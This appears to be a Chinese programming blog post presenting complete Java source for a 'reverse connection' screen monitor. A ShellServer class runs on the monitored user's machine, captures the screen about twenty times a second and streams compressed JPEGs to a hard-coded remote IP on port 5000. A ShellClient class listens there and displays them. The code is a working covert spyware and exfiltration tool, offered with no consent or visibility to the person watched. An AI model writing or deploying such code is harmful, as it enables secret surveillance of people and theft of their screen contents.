您的位置:首页 > 理论基础 > 计算机网络

JAVA实现反向连接_____屏幕监视 (TCP)

2015-07-06 18:55 495 查看

//以下这个为服务器类 被监视的用户
import com.sun.image.codec.jpeg.JPEGCodec;

import com.sun.image.codec.jpeg.JPEGImageEncoder;

import java.awt.Dimension;

import java.awt.Rectangle;

import java.awt.Robot;

import java.awt.Toolkit;

import java.awt.image.BufferedImage;

import java.io.FileOutputStream;

import java.io.IOException;

import java.net.Socket;

import java.util.zip.ZipEntry;

import java.util.zip.ZipOutputStream;

public class ShellServer extends Thread{

private Dimension screenSize;

private Rectangle rectangle;

private Robot robot;

private JPEGImageEncoder encoder;

public ShellServer() {

screenSize = Toolkit.getDefaultToolkit().getScreenSize();

rectangle = new Rectangle(screenSize);//可以指定捕获屏幕区域

try{

robot = new Robot();

}catch(Exception e){

e.printStackTrace();

System.out.println(e);

}

}

public void run(){

ZipOutputStream os = null;

Socket socket=null;

while (true){

try{

socket = new Socket("220.173.44.158",5000);//连接远程IP

BufferedImage image = robot.createScreenCapture(rectangle);//捕获制定屏幕矩形区域

os = new ZipOutputStream(socket.getOutputStream());//加入压缩流

//os = new ZipOutputStream(new FileOutputStream("C:/1.zip"));

os.setLevel(9);

os.putNextEntry(new ZipEntry("1.jpg"));

JPEGCodec.createJPEGEncoder(os).encode(image);//图像编码成JPEG

os.close();

Thread.sleep(50);//每秒20帧

}catch(Exception e){

e.printStackTrace();

}finally{

if(os!=null){

try{

os.close();

}catch(Exception ioe){}

}

if(socket!=null){

try {

socket.close();

} catch (IOException e) {

}

}

}

}

}

public static void main(String[] args) {

new ShellServer().start();

}

}

//以下这个为客户端类 监视者
import java.awt.*;

import java.awt.image.BufferedImage;

import javax.imageio.ImageIO;

import javax.swing.*;

import java.io.*;

import java.net.ServerSocket;

import java.net.Socket;

import java.util.zip.ZipInputStream;

public class ShellClient extends JFrame{

Dimension screenSize;
public ShellClient() {

super();

screenSize = Toolkit.getDefaultToolkit().getScreenSize();

this.setSize(800, 640);//设置Frame初始

Screen p = new Screen();//屏幕类

Container c = this.getContentPane();

c.setLayout(new BorderLayout());//布局

c.add(p,"Center");//添加一个Panel

new Thread(p).start();//开启线程

this.show();//显示本Frame

}

public static void main(String[] args){

new ShellClient();

}

class Screen extends JPanel implements Runnable{

private Image cimage;

public void run(){

ServerSocket ss=null;

try{

ss=new ServerSocket(5000);//探听5000端口的连接

while(true){

Socket s=null;

try{

s=ss.accept();//获取一个SOCKET

ZipInputStream zis=new ZipInputStream(s.getInputStream());

zis.getNextEntry();//获得ZIP流的ENTRY

cimage = ImageIO.read(zis);//把ZIP流转换为图片

//cimage = ImageIO.read(new FileInputStream("c:/1.jpg"));

repaint();//重画

}catch(Exception e){

e.printStackTrace();

}finally{

if(s!=null){

try {s.close();} catch (IOException e) {}

}

}

}

}catch(Exception e){}

finally{

if(ss!=null){

try {ss.close();} catch (IOException e) {}

}

}

}

public Screen() {

super();

this.setLayout(null);

}

public void paint(Graphics g){

super.paint(g);

Graphics2D g2 = (Graphics2D) g;

g2.drawImage(cimage, 0, 0, null);

}

}

}
主要采用了 TCP协议+压缩流~ 速度还可以!
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: